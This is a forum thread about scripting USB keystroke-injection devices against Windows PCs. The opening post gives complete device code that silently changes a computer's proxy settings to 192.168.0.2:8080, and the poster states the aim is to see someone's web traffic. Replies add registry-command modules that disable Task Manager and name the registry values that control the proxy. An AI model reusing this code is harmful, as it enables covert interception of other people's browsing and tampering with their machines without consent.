Jump to content

[Version 1] Proxy


Recommended Posts

okay, it may be useful to send someone's internet traffic thought a proxy so that you can see there web traffic os something like that. so wrote this to change the computers proxy settings, this one works for IE and Chrome when i get some time i will change it to work for firefox.

void setup(){
  delay(9000);
  run("inetcpl.cpl");//internet options
  delay(500);
  sifttab(1);//move to tabs
  right(4);//move to connections tab
  sifttab(3);//move to lan settings
  enter();//open lan settings
  delay(500);
  tab(2);//Proxy tick box
  space();//tick proxy tick box
  tab(1);//proxy address box  
  echo("192.168.0.2");//type proxy address
  tab(1);//prot box  
  echo("8080");//type port
  tab(3);//move to ok
  enter();//exit lan settings
  tab(1);//move to ok
  enter();//exit internet options
}
void loop(){
  digitalWrite(PIN_D6, LOW);//LED OFF
  delay(500);
  digitalWrite(PIN_D6, HIGH);//LED ON
  delay(500);
}
void enter(){
  Keyboard.set_key1(KEY_ENTER);
  Keyboard.send_now();
  Keyboard.set_key1(0);
  Keyboard.send_now();
}
void run(char *command){
  Keyboard.set_modifier(MODIFIERKEY_GUI);
  Keyboard.set_key1(KEY_R);
  Keyboard.send_now();
  Keyboard.set_modifier(0);
  Keyboard.set_key1(0);
  Keyboard.send_now();
  delay(300);
  Keyboard.print(command);
  delay(300);
  enter();
  delay(300);
}
void echo(char *text){
  Keyboard.print(text);
  delay(100);
}
void tab(int count){
  int i;
  for (int i = 0; i <count; i++) 
  {
  Keyboard.set_key1(KEY_TAB);
  Keyboard.send_now();
  Keyboard.set_key1(0);
  Keyboard.send_now();
  }
}
void sifttab(int count){
  int i;
  for (int i = 0; i <count; i++) 
  {
  Keyboard.set_modifier(MODIFIERKEY_SHIFT);
  Keyboard.set_key1(KEY_TAB);
  Keyboard.send_now();
  Keyboard.set_modifier(0);
  Keyboard.set_key1(0);
  Keyboard.send_now();
  }
}
void right(int count){
  int i;
  for (int i = 0; i <count; i++) 
  {
  Keyboard.set_key1(KEY_RIGHT);
  Keyboard.send_now();
  Keyboard.set_key1(0);
  Keyboard.send_now();
  }
}
void space(){
  Keyboard.set_key1(KEY_SPACE);
  Keyboard.send_now();
  Keyboard.set_key1(0);
  Keyboard.send_now();
}

Link to comment
Share on other sites

no. some registry changes take effect immediatly, not sure if all of them do tho.

eg.

description[<no>] = "Disable task manager\r";
if(binary == <no>){
   CommandAtRunBar("REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v DisableTaskMgr /t REG_Dword /d 1"); 
   delay(100);
   Keyboard.print("y");
   PressAndRelease(KEY_ENTER, 1);
   delay(500);
   die();
}

description[<no>] = "Enable task manager\r";
if(binary == <no>){
   CommandAtRunBar("REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v DisableTaskMgr /t REG_Dword /d 0"); 
   delay(100);
   Keyboard.print("y");
   PressAndRelease(KEY_ENTER, 1);
   delay(500);
   die();
}

(takes effect immediatly)

these are obviously modules I made for the Phukducky, but you get the idea

Edited by NanoyMaster
Link to comment
Share on other sites

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings

ProxyEnable and ProxyServer are the values you need to edit

but you do need to reboot, i just tried it.

--edit--

if you set ProxyEnable to 1 then it has no affect, but if you go to the proxy settings box it is ticked on after you apply it takes affect.

Edited by benownzu93
Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

 Share

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...